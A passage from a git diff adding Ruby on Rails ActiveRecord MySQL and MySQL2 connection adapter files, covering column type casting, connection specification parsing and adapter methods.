+ "DROP INDEX #{index_name}"
+ end
+
+ def add_timestamps_sql(table_name)
+ [add_column_sql(table_name, :created_at, :datetime), add_column_sql(table_name, :updated_at, :datetime)]
+ end
+
+ def remove_timestamps_sql(table_name)
+ [remove_column_sql(table_name, :updated_at), remove_column_sql(table_name, :created_at)]
+ end
+
+ private
+
+ def supports_views?
+ version[0] >= 5
+ end
+
+ def column_for(table_name, column_name)
+ unless column = columns(table_name).find { |c| c.name == column_name.to_s }
+ raise "No such column: #{table_name}.#{column_name}"
+ end
+ column
+ end
+
+ def configure_connection
+ variables = @config[:variables] || {}
+
+ # By default, MySQL 'where id is null' selects the last inserted id.
+ # Turn this off. http://dev.rubyonrails.org/ticket/6778
+ variables[:sql_auto_is_null] = 0
+
+ # Increase timeout so the server doesn't disconnect us.
+ wait_timeout = @config[:wait_timeout]
+ wait_timeout = 2147483 unless wait_timeout.is_a?(Fixnum)
+ variables[:wait_timeout] = self.class.type_cast_config_to_integer(wait_timeout)
+
+ # Make MySQL reject illegal values rather than truncating or blanking them, see
+ # http://dev.mysql.com/doc/refman/5.0/en/server-sql-mode.html#sqlmode_strict_all_tables
+ # If the user has provided another value for sql_mode, don't replace it.
+ if strict_mode? && !variables.has_key?(:sql_mode)
+ variables[:sql_mode] = 'STRICT_ALL_TABLES'
+ end
+
+ # NAMES does not have an equals sign, see
+ # http://dev.mysql.com/doc/refman/5.0/en/set-statement.html#id944430
+ # (trailing comma because variable_assignments will always have content)
+ encoding = "NAMES #{@config[:encoding]}, " if @config[:encoding]
+
+ # Gather up all of the SET variables...
+ variable_assignments = variables.map do |k, v|
+ if v == ':default' || v == :default
+ "@@SESSION.#{k.to_s} = DEFAULT" # Sets the value to the global or compile default
+ elsif !v.nil?
+ "@@SESSION.#{k.to_s} = #{quote(v)}"
+ end
+ # or else nil; compact to clear nils out
+ end.compact.join(', ')
+
+ # ...and send them all in one query
+ execute("SET #{encoding} #{variable_assignments}", :skip_logging)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/column.rb b/activerecord/lib/active_record/connection_adapters/column.rb
new file mode 100644
index 0000000..609ccc2
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/column.rb
@@ -0,0 +1,318 @@
+require 'set'
+
+module ActiveRecord
+ # :stopdoc:
+ module ConnectionAdapters
+ # An abstract definition of a column in a table.
+ class Column
+ TRUE_VALUES = [true, 1, '1', 't', 'T', 'true', 'TRUE', 'on', 'ON'].to_set
+ FALSE_VALUES = [false, 0, '0', 'f', 'F', 'false', 'FALSE', 'off', 'OFF'].to_set
+
+ module Format
+ ISO_DATE = /\A(\d{4})-(\d\d)-(\d\d)\z/
+ ISO_DATETIME = /\A(\d{4})-(\d\d)-(\d\d) (\d\d):(\d\d):(\d\d)(\.\d+)?\z/
+ end
+
+ attr_reader :name, :default, :type, :limit, :null, :sql_type, :precision, :scale
+ attr_accessor :primary, :coder
+
+ alias :encoded? :coder
+
+ # Instantiates a new column in the table.
+ #
+ # +name+ is the column's name, such as <tt>supplier_id</tt> in <tt>supplier_id int(11)</tt>.
+ # +default+ is the type-casted default value, such as +new+ in <tt>sales_stage varchar(20) default 'new'</tt>.
+ # +sql_type+ is used to extract the column's length, if necessary. For example +60+ in
+ # <tt>company_name varchar(60)</tt>.
+ # It will be mapped to one of the standard Rails SQL types in the <tt>type</tt> attribute.
+ # +null+ determines if this column allows +NULL+ values.
+ def initialize(name, default, sql_type = nil, null = true)
+ @name = name
+ @sql_type = sql_type
+ @null = null
+ @limit = extract_limit(sql_type)
+ @precision = extract_precision(sql_type)
+ @scale = extract_scale(sql_type)
+ @type = simplified_type(sql_type)
+ @default = extract_default(default)
+ @primary = nil
+ @coder = nil
+ end
+
+ # Returns +true+ if the column is either of type string or text.
+ def text?
+ type == :string || type == :text
+ end
+
+ # Returns +true+ if the column is either of type integer, float or decimal.
+ def number?
+ type == :integer || type == :float || type == :decimal
+ end
+
+ def has_default?
+ !default.nil?
+ end
+
+ # Returns the Ruby class that corresponds to the abstract data type.
+ def klass
+ case type
+ when :integer then Fixnum
+ when :float then Float
+ when :decimal then BigDecimal
+ when :datetime, :timestamp, :time then Time
+ when :date then Date
+ when :text, :string, :binary then String
+ when :boolean then Object
+ end
+ end
+
+ def binary?
+ type == :binary
+ end
+
+ # Casts a Ruby value to something appropriate for writing to the database.
+ def type_cast_for_write(value)
+ return value unless number?
+
+ case value
+ when FalseClass
+ 0
+ when TrueClass
+ 1
+ when String
+ value.presence
+ else
+ value
+ end
+ end
+
+ # Casts value (which is a String) to an appropriate instance.
+ def type_cast(value)
+ return nil if value.nil?
+ return coder.load(value) if encoded?
+
+ klass = self.class
+
+ case type
+ when :string, :text then value
+ when :integer then klass.value_to_integer(value)
+ when :float then value.to_f
+ when :decimal then klass.value_to_decimal(value)
+ when :datetime, :timestamp then klass.string_to_time(value)
+ when :time then klass.string_to_dummy_time(value)
+ when :date then klass.value_to_date(value)
+ when :binary then klass.binary_to_string(value)
+ when :boolean then klass.value_to_boolean(value)
+ else value
+ end
+ end
+
+ def type_cast_code(var_name)
+ message = "Column#type_cast_code is deprecated in favor of using Column#type_cast only, " \
+ "and it is going to be removed in future Rails versions."
+ ActiveSupport::Deprecation.warn message
+
+ klass = self.class.name
+
+ case type
+ when :string, :text then var_name
+ when :integer then "#{klass}.value_to_integer(#{var_name})"
+ when :float then "#{var_name}.to_f"
+ when :decimal then "#{klass}.value_to_decimal(#{var_name})"
+ when :datetime, :timestamp then "#{klass}.string_to_time(#{var_name})"
+ when :time then "#{klass}.string_to_dummy_time(#{var_name})"
+ when :date then "#{klass}.value_to_date(#{var_name})"
+ when :binary then "#{klass}.binary_to_string(#{var_name})"
+ when :boolean then "#{klass}.value_to_boolean(#{var_name})"
+ when :hstore then "#{klass}.string_to_hstore(#{var_name})"
+ when :inet, :cidr then "#{klass}.string_to_cidr(#{var_name})"
+ when :json then "#{klass}.string_to_json(#{var_name})"
+ else var_name
+ end
+ end
+
+ # Returns the human name of the column name.
+ #
+ # ===== Examples
+ # Column.new('sales_stage', ...).human_name # => 'Sales stage'
+ def human_name
+ Base.human_attribute_name(@name)
+ end
+
+ def extract_default(default)
+ type_cast(default)
+ end
+
+ # Used to convert from Strings to BLOBs
+ def string_to_binary(value)
+ self.class.string_to_binary(value)
+ end
+
+ class << self
+ # Used to convert from Strings to BLOBs
+ def string_to_binary(value)
+ value
+ end
+
+ # Used to convert from BLOBs to Strings
+ def binary_to_string(value)
+ value
+ end
+
+ def value_to_date(value)
+ if value.is_a?(String)
+ return nil if value.empty?
+ fast_string_to_date(value) || fallback_string_to_date(value)
+ elsif value.respond_to?(:to_date)
+ value.to_date
+ else
+ value
+ end
+ end
+
+ def string_to_time(string)
+ return string unless string.is_a?(String)
+ return nil if string.empty?
+
+ fast_string_to_time(string) || fallback_string_to_time(string)
+ end
+
+ def string_to_dummy_time(string)
+ return string unless string.is_a?(String)
+ return nil if string.empty?
+
+ dummy_time_string = "2000-01-01 #{string}"
+
+ fast_string_to_time(dummy_time_string) || begin
+ time_hash = Date._parse(dummy_time_string)
+ return nil if time_hash[:hour].nil?
+ new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction))
+ end
+ end
+
+ # convert something to a boolean
+ def value_to_boolean(value)
+ if value.is_a?(String) && value.empty?
+ nil
+ else
+ TRUE_VALUES.include?(value)
+ end
+ end
+
+ # Used to convert values to integer.
+ # handle the case when an integer column is used to store boolean values
+ def value_to_integer(value)
+ case value
+ when TrueClass, FalseClass
+ value ? 1 : 0
+ else
+ value.to_i rescue nil
+ end
+ end
+
+ # convert something to a BigDecimal
+ def value_to_decimal(value)
+ # Using .class is faster than .is_a? and
+ # subclasses of BigDecimal will be handled
+ # in the else clause
+ if value.class == BigDecimal
+ value
+ elsif value.respond_to?(:to_d)
+ value.to_d
+ else
+ value.to_s.to_d
+ end
+ end
+
+ protected
+ # '0.123456' -> 123456
+ # '1.123456' -> 123456
+ def microseconds(time)
+ time[:sec_fraction] ? (time[:sec_fraction] * 1_000_000).to_i : 0
+ end
+
+ def new_date(year, mon, mday)
+ if year && year != 0
+ Date.new(year, mon, mday) rescue nil
+ end
+ end
+
+ def new_time(year, mon, mday, hour, min, sec, microsec)
+ # Treat 0000-00-00 00:00:00 as nil.
+ return nil if year.nil? || (year == 0 && mon == 0 && mday == 0)
+
+ Time.send(Base.default_timezone, year, mon, mday, hour, min, sec, microsec) rescue nil
+ end
+
+ def fast_string_to_date(string)
+ if string =~ Format::ISO_DATE
+ new_date $1.to_i, $2.to_i, $3.to_i
+ end
+ end
+
+ # Doesn't handle time zones.
+ def fast_string_to_time(string)
+ if string =~ Format::ISO_DATETIME
+ microsec = ($7.to_r * 1_000_000).to_i
+ new_time $1.to_i, $2.to_i, $3.to_i, $4.to_i, $5.to_i, $6.to_i, microsec
+ end
+ end
+
+ def fallback_string_to_date(string)
+ new_date(*::Date._parse(string, false).values_at(:year, :mon, :mday))
+ end
+
+ def fallback_string_to_time(string)
+ time_hash = Date._parse(string)
+ time_hash[:sec_fraction] = microseconds(time_hash)
+
+ new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction))
+ end
+ end
+
+ private
+ def extract_limit(sql_type)
+ $1.to_i if sql_type =~ /\((.*)\)/
+ end
+
+ def extract_precision(sql_type)
+ $2.to_i if sql_type =~ /^(numeric|decimal|number)\((\d+)(,\d+)?\)/i
+ end
+
+ def extract_scale(sql_type)
+ case sql_type
+ when /^(numeric|decimal|number)\((\d+)\)/i then 0
+ when /^(numeric|decimal|number)\((\d+)(,(\d+))\)/i then $4.to_i
+ end
+ end
+
+ def simplified_type(field_type)
+ case field_type
+ when /int/i
+ :integer
+ when /float|double/i
+ :float
+ when /decimal|numeric|number/i
+ extract_scale(field_type) == 0 ? :integer : :decimal
+ when /datetime/i
+ :datetime
+ when /timestamp/i
+ :timestamp
+ when /time/i
+ :time
+ when /date/i
+ :date
+ when /clob/i, /text/i
+ :text
+ when /blob/i, /binary/i
+ :binary
+ when /char/i, /string/i
+ :string
+ when /boolean/i
+ :boolean
+ end
+ end
+ end
+ end
+ # :startdoc:
+end
diff --git a/activerecord/lib/active_record/connection_adapters/connection_specification.rb b/activerecord/lib/active_record/connection_adapters/connection_specification.rb
new file mode 100644
index 0000000..8bad7d0
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/connection_specification.rb
@@ -0,0 +1,96 @@
+require 'uri'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class ConnectionSpecification #:nodoc:
+ attr_reader :config, :adapter_method
+
+ def initialize(config, adapter_method)
+ @config, @adapter_method = config, adapter_method
+ end
+
+ def initialize_dup(original)
+ @config = original.config.dup
+ end
+
+ ##
+ # Builds a ConnectionSpecification from user input
+ class Resolver # :nodoc:
+ attr_reader :config, :klass, :configurations
+
+ def initialize(config, configurations)
+ @config = config
+ @configurations = configurations
+ end
+
+ def spec
+ case config
+ when nil
+ raise AdapterNotSpecified unless defined?(Rails.env)
+ resolve_string_connection Rails.env
+ when Symbol, String
+ resolve_string_connection config.to_s
+ when Hash
+ resolve_hash_connection config
+ end
+ end
+
+ private
+ def resolve_string_connection(spec) # :nodoc:
+ hash = configurations.fetch(spec) do |k|
+ connection_url_to_hash(k)
+ end
+
+ raise(AdapterNotSpecified, "#{spec} database is not configured") unless hash
+
+ resolve_hash_connection hash
+ end
+
+ def resolve_hash_connection(spec) # :nodoc:
+ spec = spec.symbolize_keys
+
+ raise(AdapterNotSpecified, "database configuration does not specify adapter") unless spec.key?(:adapter)
+
+ path_to_adapter = "active_record/connection_adapters/#{spec[:adapter]}_adapter"
+ begin
+ require path_to_adapter
+ rescue Gem::LoadError => e
+ raise Gem::LoadError, "Specified '#{spec[:adapter]}' for database adapter, but the gem is not loaded. Add `gem '#{e.name}'` to your Gemfile."
+ rescue LoadError => e
+ raise LoadError, "Could not load '#{path_to_adapter}'. Make sure that the adapter in config/database.yml is valid. If you use an adapter other than 'mysql', 'mysql2', 'postgresql' or 'sqlite3' add the necessary adapter gem to the Gemfile.", e.backtrace
+ end
+
+ adapter_method = "#{spec[:adapter]}_connection"
+
+ ConnectionSpecification.new(spec, adapter_method)
+ end
+
+ def connection_url_to_hash(url) # :nodoc:
+ config = URI.parse url
+ adapter = config.scheme
+ adapter = "postgresql" if adapter == "postgres"
+ spec = { :adapter => adapter,
+ :username => config.user,
+ :password => config.password,
+ :port => config.port,
+ :database => config.path.sub(%r{^/},""),
+ :host => config.host }
+
+ spec.reject!{ |_,value| value.blank? }
+
+ uri_parser = URI::Parser.new
+
+ spec.map { |key,value| spec[key] = uri_parser.unescape(value) if value.is_a?(String) }
+
+ if config.query
+ options = Hash[config.query.split("&").map{ |pair| pair.split("=") }].symbolize_keys
+
+ spec.merge!(options)
+ end
+
+ spec
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
new file mode 100644
index 0000000..530a27d
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
@@ -0,0 +1,273 @@
+require 'active_record/connection_adapters/abstract_mysql_adapter'
+
+gem 'mysql2', '~> 0.3.10'
+require 'mysql2'
+
+module ActiveRecord
+ module ConnectionHandling # :nodoc:
+ # Establishes a connection to the database that's used by all Active Record objects.
+ def mysql2_connection(config)
+ config = config.symbolize_keys
+
+ config[:username] = 'root' if config[:username].nil?
+
+ if Mysql2::Client.const_defined? :FOUND_ROWS
+ config[:flags] = Mysql2::Client::FOUND_ROWS
+ end
+
+ client = Mysql2::Client.new(config)
+ options = [config[:host], config[:username], config[:password], config[:database], config[:port], config[:socket], 0]
+ ConnectionAdapters::Mysql2Adapter.new(client, logger, options, config)
+ end
+ end
+
+ module ConnectionAdapters
+ class Mysql2Adapter < AbstractMysqlAdapter
+
+ class Column < AbstractMysqlAdapter::Column # :nodoc:
+ def adapter
+ Mysql2Adapter
+ end
+ end
+
+ ADAPTER_NAME = 'Mysql2'
+
+ def initialize(connection, logger, connection_options, config)
+ super
+ @visitor = BindSubstitution.new self
+ configure_connection
+ end
+
+ MAX_INDEX_LENGTH_FOR_UTF8MB4 = 191
+ def initialize_schema_migrations_table
+ if @config[:encoding] == 'utf8mb4'
+ ActiveRecord::SchemaMigration.create_table(MAX_INDEX_LENGTH_FOR_UTF8MB4)
+ else
+ ActiveRecord::SchemaMigration.create_table
+ end
+ end
+
+ def supports_explain?
+ true
+ end
+
+ # HELPER METHODS ===========================================
+
+ def each_hash(result) # :nodoc:
+ if block_given?
+ result.each(:as => :hash, :symbolize_keys => true) do |row|
+ yield row
+ end
+ else
+ to_enum(:each_hash, result)
+ end
+ end
+
+ def new_column(field, default, type, null, collation, extra = "") # :nodoc:
+ Column.new(field, default, type, null, collation, strict_mode?, extra)
+ end
+
+ def error_number(exception)
+ exception.error_number if exception.respond_to?(:error_number)
+ end
+
+ # QUOTING ==================================================
+
+ def quote_string(string)
+ @connection.escape(string)
+ end
+
+ # CONNECTION MANAGEMENT ====================================
+
+ def active?
+ return false unless @connection
+ @connection.ping
+ end
+
+ def reconnect!
+ super
+ disconnect!
+ connect
+ end
+ alias :reset! :reconnect!
+
+ # Disconnects from the database if already connected.
+ # Otherwise, this method does nothing.
+ def disconnect!
+ super
+ unless @connection.nil?
+ @connection.close
+ @connection = nil
+ end
+ end
+
+ # DATABASE STATEMENTS ======================================
+
+ def explain(arel, binds = [])
+ sql = "EXPLAIN #{to_sql(arel, binds.dup)}"
+ start = Time.now
+ result = exec_query(sql, 'EXPLAIN', binds)
+ elapsed = Time.now - start
+
+ ExplainPrettyPrinter.new.pp(result, elapsed)
+ end
+
+ class ExplainPrettyPrinter # :nodoc:
+ # Pretty prints the result of a EXPLAIN in a way that resembles the output of the
+ # MySQL shell:
+ #
+ # +----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+ # | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+ # +----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+ # | 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | |
+ # | 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where |
+ # +----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+ # 2 rows in set (0.00 sec)
+ #
+ # This is an exercise in Ruby hyperrealism :).
+ def pp(result, elapsed)
+ widths = compute_column_widths(result)
+ separator = build_separator(widths)
+
+ pp = []
+
+ pp << separator
+ pp << build_cells(result.columns, widths)
+ pp << separator
+
+ result.rows.each do |row|
+ pp << build_cells(row, widths)
+ end
+
+ pp << separator
+ pp << build_footer(result.rows.length, elapsed)
+
+ pp.join("\n") + "\n"
+ end
+
+ private
+
+ def compute_column_widths(result)
+ [].tap do |widths|
+ result.columns.each_with_index do |column, i|
+ cells_in_column = [column] + result.rows.map {|r| r[i].nil? ? 'NULL' : r[i].to_s}
+ widths << cells_in_column.map(&:length).max
+ end
+ end
+ end
+
+ def build_separator(widths)
+ padding = 1
+ '+' + widths.map {|w| '-' * (w + (padding*2))}.join('+') + '+'
+ end
+
+ def build_cells(items, widths)
+ cells = []
+ items.each_with_index do |item, i|
+ item = 'NULL' if item.nil?
+ justifier = item.is_a?(Numeric) ? 'rjust' : 'ljust'
+ cells << item.to_s.send(justifier, widths[i])
+ end
+ '| ' + cells.join(' | ') + ' |'
+ end
+
+ def build_footer(nrows, elapsed)
+ rows_label = nrows == 1 ? 'row' : 'rows'
+ "#{nrows} #{rows_label} in set (%.2f sec)" % elapsed
+ end
+ end
+
+ # FIXME: re-enable the following once a "better" query_cache solution is in core
+ #
+ # The overrides below perform much better than the originals in AbstractAdapter
+ # because we're able to take advantage of mysql2's lazy-loading capabilities
+ #
+ # # Returns a record hash with the column names as keys and column values
+ # # as values.
+ # def select_one(sql, name = nil)
+ # result = execute(sql, name)
+ # result.each(as: :hash) do |r|
+ # return r
+ # end
+ # end
+ #
+ # # Returns a single value from a record
+ # def select_value(sql, name = nil)
+ # result = execute(sql, name)
+ # if first = result.first
+ # first.first
+ # end
+ # end
+ #
+ # # Returns an array of the values of the first column in a select:
+ # # select_values("SELECT id FROM companies LIMIT 3") => [1,2,3]
+ # def select_values(sql, name = nil)
+ # execute(sql, name).map { |row| row.first }
+ # end
+
+ # Returns an array of arrays containing the field values.
+ # Order is the same as that returned by +columns+.
+ def select_rows(sql, name = nil)
+ execute(sql, name).to_a
+ end
+
+ # Executes the SQL statement in the context of this connection.
+ def execute(sql, name = nil)
+ # make sure we carry over any changes to ActiveRecord::Base.default_timezone that have been
+ # made since we established the connection
+ @connection.query_options[:database_timezone] = ActiveRecord::Base.default_timezone
+
+ super
+ end
+
+ def exec_query(sql, name = 'SQL', binds = [])
+ result = execute(sql, name)
+ ActiveRecord::Result.new(result.fields, result.to_a)
+ end
+
+ alias exec_without_stmt exec_query
+
+ # Returns an array of record hashes with the column names as keys and
+ # column values as values.
+ def select(sql, name = nil, binds = [])
+ exec_query(sql, name)
+ end
+
+ def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)
+ super
+ id_value || @connection.last_id
+ end
+ alias :create :insert_sql
+
+ def exec_insert(sql, name, binds, pk = nil, sequence_name = nil)
+ execute to_sql(sql, binds), name
+ end
+
+ def exec_delete(sql, name, binds)
+ execute to_sql(sql, binds), name
+ @connection.affected_rows
+ end
+ alias :exec_update :exec_delete
+
+ def last_inserted_id(result)
+ @connection.last_id
+ end
+
+ private
+
+ def connect
+ @connection = Mysql2::Client.new(@config)
+ configure_connection
+ end
+
+ def configure_connection
+ @connection.query_options.merge!(:as => :array)
+ super
+ end
+
+ def version
+ @version ||= @connection.info[:version].scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i }
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
new file mode 100644
index 0000000..f235214
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
@@ -0,0 +1,558 @@
+require 'active_record/connection_adapters/abstract_mysql_adapter'
+require 'active_record/connection_adapters/statement_pool'
+require 'active_support/core_ext/hash/keys'
+
+gem 'mysql', '~> 2.9'
+require 'mysql'
+
+class Mysql
+ class Time
+ def to_date
+ Date.new(year, month, day)
+ end
+ end
+ class Stmt; include Enumerable end
+ class Result; include Enumerable end
+end
+
+module ActiveRecord
+ module ConnectionHandling # :nodoc:
+ # Establishes a connection to the database that's used by all Active Record objects.
+ def mysql_connection(config)
+ config = config.symbolize_keys
+ host = config[:host]
+ port = config[:port]
+ socket = config[:socket]
+ username = config[:username] ? config[:username].to_s : 'root'
+ password = config[:password].to_s
+ database = config[:database]
+
+ mysql = Mysql.init
+ mysql.ssl_set(config[:sslkey], config[:sslcert], config[:sslca], config[:sslcapath], config[:sslcipher]) if config[:sslca] || config[:sslkey]
+
+ default_flags = Mysql.const_defined?(:CLIENT_MULTI_RESULTS) ? Mysql::CLIENT_MULTI_RESULTS : 0
+ default_flags |= Mysql::CLIENT_FOUND_ROWS if Mysql.const_defined?(:CLIENT_FOUND_ROWS)
+ options = [host, username, password, database, port, socket, default_flags]
+ ConnectionAdapters::MysqlAdapter.new(mysql, logger, options, config)
+ end
+ end
+
+ module ConnectionAdapters
+ # The MySQL adapter will work with both Ruby/MySQL, which is a Ruby-based MySQL adapter that comes bundled with Active Record, and with
+ # the faster C-based MySQL/Ruby adapter (available both as a gem and from http://www.tmtm.org/en/mysql/ruby/).
+ #
+ # Options:
+ #
+ # * <tt>:host</tt> - Defaults to "localhost".
+ # * <tt>:port</tt> - Defaults to 3306.
+ # * <tt>:socket</tt> - Defaults to "/tmp/mysql.sock".
+ # * <tt>:username</tt> - Defaults to "root"
+ # * <tt>:password</tt> - Defaults to nothing.
+ # * <tt>:database</tt> - The name of the database. No default, must be provided.
+ # * <tt>:encoding</tt> - (Optional) Sets the client encoding by executing "SET NAMES <encoding>" after connection.
+ # * <tt>:reconnect</tt> - Defaults to false (See MySQL documentation: http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html).
+ # * <tt>:strict</tt> - Defaults to true. Enable STRICT_ALL_TABLES. (See MySQL documentation: http://dev.mysql.com/doc/refman/5.0/en/server-sql-mode.html)
+ # * <tt>:variables</tt> - (Optional) A hash session variables to send as `SET @@SESSION.key = value` on each database connection. Use the value `:default` to set a variable to its DEFAULT value. (See MySQL documentation: http://dev.mysql.com/doc/refman/5.0/en/set-statement.html).
+ # * <tt>:sslca</tt> - Necessary to use MySQL with an SSL connection.
+ # * <tt>:sslkey</tt> - Necessary to use MySQL with an SSL connection.
+ # * <tt>:sslcert</tt> - Necessary to use MySQL with an SSL connection.
+ # * <tt>:sslcapath</tt> - Necessary to use MySQL with an SSL connection.
+ # * <tt>:sslcipher</tt> - Necessary to use MySQL with an SSL connection.
+ #
+ class MysqlAdapter < AbstractMysqlAdapter
+
+ class Column < AbstractMysqlAdapter::Column #:nodoc:
+ def self.string_to_time(value)
+ return super unless Mysql::Time === value
+ new_time(
+ value.year,
+ value.month,
+ value.day,
+ value.hour,
+ value.minute,
+ value.second,
+ value.second_part)
+ end
+
+ def self.string_to_dummy_time(v)
+ return super unless Mysql::Time === v
+ new_time(2000, 01, 01, v.hour, v.minute, v.second, v.second_part)
+ end
+
+ def self.string_to_date(v)
+ return super unless Mysql::Time === v
+ new_date(v.year, v.month, v.day)
+ end
+
+ def adapter
+ MysqlAdapter
+ end
+ end
+
+ ADAPTER_NAME = 'MySQL'
+
+ class StatementPool < ConnectionAdapters::StatementPool
+ def initialize(connection, max = 1000)
+ super
+ @cache = Hash.new { |h,pid| h[pid] = {} }
+ end
+
+ def each(&block); cache.each(&block); end
+ def key?(key); cache.key?(key); end
+ def [](key); cache[key]; end
+ def length; cache.length; end
+ def delete(key); cache.delete(key); end
+
+ def []=(sql, key)
+ while @max <= cache.size
+ cache.shift.last[:stmt].close
+ end
+ cache[sql] = key
+ end
+
+ def clear
+ cache.values.each do |hash|
+ hash[:stmt].close
+ end
+ cache.clear
+ end
+
+ private
+ def cache
+ @cache[Process.pid]
+ end
+ end
+
+ def initialize(connection, logger, connection_options, config)
+ super
+ @statements = StatementPool.new(@connection,
+ self.class.type_cast_config_to_integer(config.fetch(:statement_limit) { 1000 }))
+ @client_encoding = nil
+ connect
+ end
+
+ # Returns true, since this connection adapter supports prepared statement
+ # caching.
+ def supports_statement_cache?
+ true
+ end
+
+ # HELPER METHODS ===========================================
+
+ def each_hash(result) # :nodoc:
+ if block_given?
+ result.each_hash do |row|
+ row.symbolize_keys!
+ yield row
+ end
+ else
+ to_enum(:each_hash, result)
+ end
+ end
+
+ def new_column(field, default, type, null, collation, extra = "") # :nodoc:
+ Column.new(field, default, type, null, collation, strict_mode?, extra)
+ end
+
+ def error_number(exception) # :nodoc:
+ exception.errno if exception.respond_to?(:errno)
+ end
+
+ # QUOTING ==================================================
+
+ def type_cast(value, column)
+ return super unless value == true || value == false
+
+ value ? 1 : 0
+ end
+
+ def quote_string(string) #:nodoc:
+ @connection.quote(string)
+ end
+
+ # CONNECTION MANAGEMENT ====================================
+
+ def active?
+ if @connection.respond_to?(:stat)
+ @connection.stat
+ else
+ @connection.query 'select 1'
+ end
+
+ # mysql-ruby doesn't raise an exception when stat fails.
+ if @connection.respond_to?(:errno)
+ @connection.errno.zero?
+ else
+ true
+ end
+ rescue Mysql::Error
+ false
+ end
+
+ def reconnect!
+ super
+ disconnect!
+ connect
+ end
+
+ # Disconnects from the database if already connected. Otherwise, this
+ # method does nothing.
+ def disconnect!
+ super
+ @connection.close rescue nil
+ end
+
+ def reset!
+ if @connection.respond_to?(:change_user)
+ # See http://bugs.mysql.com/bug.php?id=33540 -- the workaround way to
+ # reset the connection is to change the user to the same user.
+ @connection.change_user(@config[:username], @config[:password], @config[:database])
+ configure_connection
+ end
+ end
+
+ # DATABASE STATEMENTS ======================================
+
+ def select_rows(sql, name = nil)
+ @connection.query_with_result = true
+ rows = exec_query(sql, name).rows
+ @connection.more_results && @connection.next_result # invoking stored procedures with CLIENT_MULTI_RESULTS requires this to tidy up else connection will be dropped
+ rows
+ end
+
+ # Clears the prepared statements cache.
+ def clear_cache!
+ @statements.clear
+ end
+
+ # Taken from here:
+ # https://github.com/tmtm/ruby-mysql/blob/master/lib/mysql/charset.rb
+ # Author: TOMITA Masahiro <tommy at tmtm.org>
+ ENCODINGS = {
+ "armscii8" => nil,
+ "ascii" => Encoding::US_ASCII,
+ "big5" => Encoding::Big5,
+ "binary" => Encoding::ASCII_8BIT,
+ "cp1250" => Encoding::Windows_1250,
+ "cp1251" => Encoding::Windows_1251,
+ "cp1256" => Encoding::Windows_1256,
+ "cp1257" => Encoding::Windows_1257,
+ "cp850" => Encoding::CP850,
+ "cp852" => Encoding::CP852,
+ "cp866" => Encoding::IBM866,
+ "cp932" => Encoding::Windows_31J,
+ "dec8" => nil,
+ "eucjpms" => Encoding::EucJP_ms,
+ "euckr" => Encoding::EUC_KR,
+ "gb2312" => Encoding::EUC_CN,
+ "gbk" => Encoding::GBK,
+ "geostd8" => nil,
+ "greek" => Encoding::ISO_8859_7,
+ "hebrew" => Encoding::ISO_8859_8,
+ "hp8" => nil,
+ "keybcs2" => nil,
+ "koi8r" => Encoding::KOI8_R,
+ "koi8u" => Encoding::KOI8_U,
+ "latin1" => Encoding::ISO_8859_1,
+ "latin2" => Encoding::ISO_8859_2,
+ "latin5" => Encoding::ISO_8859_9,
+ "latin7" => Encoding::ISO_8859_13,
+ "macce" => Encoding::MacCentEuro,
+ "macroman" => Encoding::MacRoman,
+ "sjis" => Encoding::SHIFT_JIS,
+ "swe7" => nil,
+ "tis620" => Encoding::TIS_620,
+ "ucs2" => Encoding::UTF_16BE,
+ "ujis" => Encoding::EucJP_ms,
+ "utf8" => Encoding::UTF_8,
+ "utf8mb4" => Encoding::UTF_8,
+ }
+
+ # Get the client encoding for this database
+ def client_encoding
+ return @client_encoding if @client_encoding
+
+ result = exec_query(
+ "SHOW VARIABLES WHERE Variable_name = 'character_set_client'",
+ 'SCHEMA')
+ @client_encoding = ENCODINGS[result.rows.last.last]
+ end
+
+ def exec_query(sql, name = 'SQL', binds = [])
+ # If the configuration sets prepared_statements:false, binds will
+ # always be empty, since the bind variables will have been already
+ # substituted and removed from binds by BindVisitor, so this will
+ # effectively disable prepared statement usage completely.
+ if binds.empty?
+ result_set, affected_rows = exec_without_stmt(sql, name)
+ else
+ result_set, affected_rows = exec_stmt(sql, name, binds)
+ end
+
+ yield affected_rows if block_given?
+
+ result_set
+ end
+
+ def last_inserted_id(result)
+ @connection.insert_id
+ end
+
+ module Fields
+ class Type
+ def type; end
+
+ def type_cast_for_write(value)
+ value
+ end
+ end
+
+ class Identity < Type
+ def type_cast(value); value; end
+ end
+
+ class Integer < Type
+ def type_cast(value)
+ return if value.nil?
+
+ value.to_i rescue value ? 1 : 0
+ end
+ end
+
+ class Date < Type
+ def type; :date; end
+
+ def type_cast(value)
+ return if value.nil?
+
+ # FIXME: probably we can improve this since we know it is mysql
+ # specific
+ ConnectionAdapters::Column.value_to_date value
+ end
+ end
+
+ class DateTime < Type
+ def type; :datetime; end
+
+ def type_cast(value)
+ return if value.nil?
+
+ # FIXME: probably we can improve this since we know it is mysql
+ # specific
+ ConnectionAdapters::Column.string_to_time value
+ end
+ end
+
+ class Time < Type
+ def type; :time; end
+
+ def type_cast(value)
+ return if value.nil?
+
+ # FIXME: probably we can improve this since we know it is mysql
+ # specific
+ ConnectionAdapters::Column.string_to_dummy_time value
